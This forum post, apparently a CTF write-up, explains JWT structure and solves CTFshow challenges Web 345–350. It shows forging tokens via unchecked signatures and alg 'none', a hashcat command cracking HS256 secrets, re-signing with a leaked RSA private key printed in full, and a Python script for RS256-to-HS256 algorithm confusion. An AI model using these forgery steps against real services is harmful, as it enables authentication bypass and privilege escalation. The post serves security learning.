楼主: czk981
19 0

JWT攻击详解与CTF实战 [推广有奖]

  • 0关注
  • 0粉丝

等待验证会员

学前班

40%

还不是VIP/贵宾

-

威望
0
论坛币
0 个
通用积分
0
学术水平
0 点
热心指数
0 点
信用等级
0 点
经验
20 点
帖子
1
精华
0
在线时间
0 小时
注册时间
2018-4-30
最后登录
2018-4-30

楼主
czk981 发表于 2025-11-26 19:20:18 |AI写论文

+2 论坛币
k人 参与回答

经管之家送您一份

应届毕业生专属福利!

求职就业群
赵安豆老师微信:zhaoandou666

经管之家联合CDA

送您一个全额奖学金名额~ !

感谢您参与论坛问题回答

经管之家送您两个论坛币!

+2 论坛币

在当今的 Web 应用开发中,JWT(JSON Web Token)由于其轻便性、跨平台兼容性以及易于集成的特点,已成为主流的身份认证与授权机制之一。然而,在 CTF 竞赛和安全渗透测试实践中,JWT 也经常成为攻击者突破系统防线的关键入口。一旦攻击者能够篡改 Token 内容并绕过服务器端的验证逻辑,就可能实现身份伪造,甚至获取管理员权限。本文将结合实际题目与常用工具,系统性地介绍 JWT 攻击的典型方法与实现路径,帮助读者深入理解其潜在风险及防御策略。

JWT 基础结构解析

本部分内容参考自《JSON Web Token 入门教程》,旨在为读者提供对 JWT 的基本认知。JWT 是目前应用最广泛的跨域身份验证方案之一。其核心思想是:用户通过身份验证后,服务器生成一个 JSON 格式的对象并发送给客户端;此后每次请求,客户端都需携带该对象,服务器则完全依赖此对象判断用户身份。为防止数据被篡改,服务器在生成该对象时会附加数字签名。

一个典型的 JWT 字符串由三部分组成,使用点号 . 分隔,分别是头部(Header)、负载(Payload)和签名(Signature),整体结构如下所示:

.

1. Header 头部信息

Header 部分通常包含两个关键字段:

{
 "alg": "HS256",
 "typ": "JWT"
}
  • alg 表示所使用的签名算法,默认为 HMAC SHA256,简写为 HS256;
  • typ 表示令牌类型,对于 JWT 来说统一固定为
JWT

该部分经过 Base64Url 编码后构成 JWT 的第一段。

alg
typ

2. Payload 负载数据

Payload 用于承载实际传输的信息,包括标准定义的 7 个可选字段,也可以添加自定义的私有字段。

iss (issuer):签发人
exp (expiration time):过期时间
sub (subject):主题
aud (audience):受众
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):编号

这部分信息同样经过 Base64Url 编码,作为 JWT 的第二段内容。

3. Signature 签名生成

Signature 是对前两部分进行签名的结果,目的是确保数据完整性。服务器使用保存在本地的密钥(secret),结合 Header 中指定的算法(如 HS256),对拼接后的 Base64Url 编码头部和负载进行加密运算,生成最终签名。

三部分分别编码后,用点号连接形成完整的 JWT,并返回给用户。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcyODU3MDg2MywiZXhwIjoxNzI4NTc4MDYzLCJuYmYiOjE3Mjg1NzA4NjMsInN1YiI6InVzZXIiLCJqdGkiOiI1NWQ3ZDBlNjI2YzFjMjk2NTY5MGEwZWFlYTk3ZjJlZSJ9.L7RdUb-HcLH4-MTea7n4S7iuwFhuAPnbCSQlpwtKFx0

常用攻击工具介绍

1. BurpSuite 插件:JWT Editor

在 JWT 相关的安全测试中,BurpSuite 的 JWT Editor 插件是非常实用的辅助工具。当拦截到含有 JWT 的 HTTP 请求时,插件能自动识别并以结构化形式展示 Header 与 Payload,允许测试人员直接修改字段内容、导入或管理密钥,并重新生成合法签名。后续实例中将结合具体场景演示其操作流程。插件安装方式不在本文详述,用户可自行查阅相关文档。

2. hashcat —— 密钥爆破工具

当目标系统使用对称加密算法(如 HS256)且密钥强度较弱时,可通过 hashcat 实现离线暴力破解。若成功恢复密钥,则可在 BurpSuite 中导入该密钥,对篡改后的 Token 进行重签,进而利用系统逻辑漏洞完成权限提升等操作。具体使用方法将在后续案例中说明。hashcat 的下载与配置过程不在此展开。

3. rockyou.txt —— 常用密码字典

在 CTF 或真实渗透场景中,rockyou.txt 是最为常用的密码字典之一。它源自历史上大规模泄露的真实账户数据,涵盖大量弱口令、生日组合及常见短语,适用于绝大多数低强度密钥的爆破任务。配合 hashcat 使用时,可显著提高破解成功率。该字典通常预装于 Kali Linux 系统中,路径一般位于:

/usr/share/wordlists/

实战案例一:Web 345 —— 签名未校验

查看源码提示访问特定目录:

/admin

尝试访问该路径时出现 302 重定向:

初步分析认为可能是 Cookie 中权限不足所致。虽然 JWT Editor 未能自动识别 Token 结构,但可通过手动 Base64 解码 Cookie 内容,发现系统采用 JWT 进行认证,但并未对签名进行有效性验证。

(alg:"None")

因此只需修改 Payload 内容为预期值:

sub:admin

再将其 Base64 编码并替换原 Cookie,重新发送请求即可成功访问目标页面:

index.php

最终成功获取 flag:

实战案例二:Web 346 —— 使用 None 算法绕过签名

前端代码提示信息如下:

/admin/

访问指定接口:

/admin

利用 JWT Editor 自动解析当前 Token,可见其签名算法为 HS256(HMAC + SHA-256):

若服务端接受 alg 设置为 "none" 的无签名 JWT,则可将 Header 中的算法字段修改为 none,移除签名部分。此时 Token 内容可任意篡改而不会被检测。

实施该攻击后,成功访问受限资源:

/admin

并获得 flag:

实战案例三:Web 347 —— 对称密钥爆破攻击

某些 JWT 实现使用对称签名算法,例如本题中的 HS256(HMAC + SHA-256)。这类算法的安全性高度依赖密钥复杂度。若密钥过于简单,攻击者可通过离线爆破手段还原密钥,从而实现对任意 Payload 的重签名。

题目前端仍给出相同提示:

/admin/

(注:后续步骤涉及使用 hashcat 结合 rockyou.txt 字典进行密钥爆破,导入 BurpSuite 完成重签,最终获取 flag。详细流程将在后续章节延续说明。)

在进行安全测试时,访问目标接口并使用抓包工具分析请求内容。通过观察可发现,JWT 使用的是 HS256 算法进行签名,因此可以考虑对密钥进行爆破尝试。

/admin/

利用 hashcat 工具对 JWT 的签名密钥展开字典攻击。首先指定对应的哈希类型,并提供待破解的 JWT 令牌,同时关联一个常用密码字典文件来进行暴力破解。

-a 0
-m 16500
HS256
rockyou.txt

根据爆破结果,成功获取到签名密钥为“123456”。接下来,使用 jwt-editor 插件生成可用于签名的密钥对象。

hashcat.exe -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcyODQzNzMwNiwiZXhwIjoxNzI4NDQ0NTA2LCJuYmYiOjE3Mjg0MzczMDYsInN1YiI6InVzZXIiLCJqdGkiOiJhMDZkYTg3ZWRkYWE4Zjg5MzgxYmVjMWFjMzU4NGNkYyJ9.cZ1VQX4r1Ymo_gZCs8FqfYPlOD5IriiQZjFnA2jOBzU rockyou.txt

在插件界面中选择创建新的对称密钥,点击相应选项后将密钥值替换为经 base64 编码后的“123456”,确认保存即可获得可用签名密钥。

JWT Editor
New Symmetic Key
generate
k

随后修改原始 JWT 中的用户身份信息(如将用户名或角色更改为 admin),然后在左下角点击签名按钮,选择之前配置好的密钥完成重签。

sub
admin

将重新签名后的 JWT 替换至请求中并发送,成功绕过权限验证,返回最终的 flag 内容。

/admin/

5. CTFshow Web 348 —— 对称式签名密钥爆破

本题与第 347 题操作流程基本一致,主要区别在于本次使用的密钥强度有所提升,无法通过极简字典快速命中。经过完整字典爆破后,得出实际密钥为:

aaab

用户可参照前一题的方法步骤自行完成破解过程。

6. CTFshow Web 349 —— 非对称式加密签名私钥泄露

本题暴露了部分前端 JavaScript 源码,其核心功能包含两个部分:

  • 服务器从指定路径读取私钥文件
  • 使用 RS256 非对称算法生成 JWT 并写入 cookie 字段
GET /
public/private.key
auth

当用户发起请求时,系统会校验该 JWT 是否合法,且要求 payload 中声明的身份为 admin 才返回 flag;否则提示 “you are not admin”。

POST /
admin

通过访问特定接口,我们可以下载到用于签名的私钥文件。

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
	jwt.verify(auth, cert, function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin');
	  }
	});
});
https://xxx.challenge.ctf.show/private.key
RS256

利用 JWT Editor 插件新建一个 RSA 类型密钥,选择 PEM 格式并生成空白密钥对,随后将下载得到的私钥内容完整替换进去。

-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDNioS2aSHtu6WIU88oWzpShhkb+r6QPBryJmdaR1a3ToD9sXDb
eni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnXYqlTJItOdHZio3Bi1J2Elxg8
IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjAbG1Naz58ibbtogeglQIDAQAB
AoGAE+mAc995fvt3zN45qnI0EzyUgCZpgbWg8qaPyqowl2+OhYVEJq8VtPcVB1PK
frOtnyzYsmbnwjZJgEVYTlQsum0zJBuTKoN4iDoV0Oq1Auwlcr6O0T35RGiijqAX
h7iFjNscfs/Dp/BnyKZuu60boXrcuyuZ8qXHz0exGkegjMECQQD1eP39cPhcwydM
cdEBOgkI/E/EDWmdjcwIoauczwiQEx56EjAwM88rgxUGCUF4R/hIW9JD1vlp62Qi
ST9LU4lxAkEA1lsfr9gF/9OdzAsPfuTLsl+l9zpo1jjzhXlwmHFgyCAn7gBKeWdv
ubocOClTTQ7Y4RqivomTmlNVtmcHda1XZQJAR0v0IZedW3wHPwnT1dJga261UFFA
+tUDjQJAERSE/SvAb143BtkVdCLniVBI5sGomIOq569Z0+zdsaOqsZs60QJAYqtJ
V7EReeQX8693r4pztSTQCZBKZ6mJdvwidxlhWl1q4+QgY+fYBt8DVFq5bHQUIvIW
zawYVGZdwvuD9IgY/QJAGCJbXA+Knw10B+g5tDZfVHsr6YYMY3Q24zVu4JXozWDV
x+G39IajrVKwuCPG2VezWfwfWpTeo2bDmQS0CWOPjA==
-----END RSA PRIVATE KEY-----

接着修改原始 token 中的用户身份字段为 admin,点击重签名并选择刚才导入的私钥完成签名更新。

由于源码提示需以 POST 方法提交请求才能触发 flag 返回逻辑,因此需要在 Burp Suite 中右键修改请求方式。

change request methond

最后发送修改后的请求,成功获取 flag。

7. CTFshow Web 350 —— 篡改加密签名算法

查看源码包中 routes/index.js 文件,整体逻辑与上一题相似,关键差异在于本次无法直接访问私钥文件路径,因此不能通过常规私钥重签方式突破验证。

private.key

但公钥文件仍处于可访问状态,这为我们提供了另一种攻击思路:将原本应使用 RS256 验签的 JWT,篡改为使用 HS256 算法签名,并利用已知的公钥作为 HMAC 密钥参与签名过程。

var express = require('express');
var router = express.Router();
var jwt = require('jsonwebtoken');
var fs = require('fs');

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//routes/private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });

  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//routes/public.key');  // get public key
	jwt.verify(auth, cert,function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin'+err);
	  }
	});
});

module.exports = router;
public.key
RS256
HS256

这种攻击成立的前提基于以下两点:

  1. 服务器在验证 JWT 时依赖 header 中的 alg 字段动态选择验证算法,若未严格限制允许的算法类型,则存在被篡改风险。
  2. HS256 是基于对称密钥的 HMAC 签名机制,而如果攻击者将 RSA 公钥整体当作 HMAC 的密钥输入,在服务端也使用相同公钥进行校验的情况下,签名依然会被认为合法。
alg
RS256
HS256

具体操作中,首先访问指定接口获取公钥内容。尝试在 Burp 的 JWT Editor 中新建对称密钥并粘贴 PEM 格式的公钥时,会出现格式错误或签名失败问题。这是因为手动处理过程中容易破坏原始换行、缺失头尾标记或编码不一致所致。

https://xxx.challenge.ctf.show/public.key

许多公开的解决方案采用 Node.js 脚本实现,其原理是通过 fs.readFileSync 直接读取整个 public.pem 文件字符串(包括 BEGIN/END 行和内部换行符),并将完整的文本内容作为 HMAC 密钥使用。只要客户端和服务端使用的字节序列完全一致,就能生成有效签名。

为避免格式偏差,推荐使用 Python 编写自动化脚本来生成正确的 token。生成后将其填入 Burp 请求中,并注意将请求方法改为 POST,最终成功获取 flag。

import jwt  
  
# 原始 JWT 粘贴到这里  
orig = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImlhdCI6MTc1NzQ4NDU1NH0.QKpMeBqmdq3D1i-3AXwpwxo1vJd7ZAoKUBD76pmOu8D9jhbXF8enHCECZ53218LPNyjbBG-h6xVycQ7kHi0vLzBJHM0P4zuqCJMd0CkDksNVf0vlznp4LcmxqWHhok38ohY5tNgR1uE5ULDa9rOVt2_T0juJPWDD-h_360-S0NA"  
  
# 解析 JWT,获取头部和载荷  
header = jwt.get_unverified_header(orig)  
payload = jwt.decode(orig, options={"verify_signature": False})  
print("Header:\n",header,"\n","Payload:\n",payload,"\n")  
  
# 修改头部和载荷  
header["alg"] = "HS256"  
payload["user"] = "admin"  
  
# 重新签名并输出新的 JWT
# 读取公钥全文
with open("public.key", "rb") as f:  
    key = f.read()  
  
token = jwt.encode(payload, key, algorithm="HS256", headers=header)  
print(token)
二维码

扫码加我 拉你入群

请注明:姓名-公司-职位

以便审核进群资格,未注明则拒绝

关键词:JWT Javascript signature Algorithm Challenge

您需要登录后才可以回帖 登录 | 我要注册

本版微信群
jg-xs1
拉您进交流群
GMT+8, 2025-12-9 15:03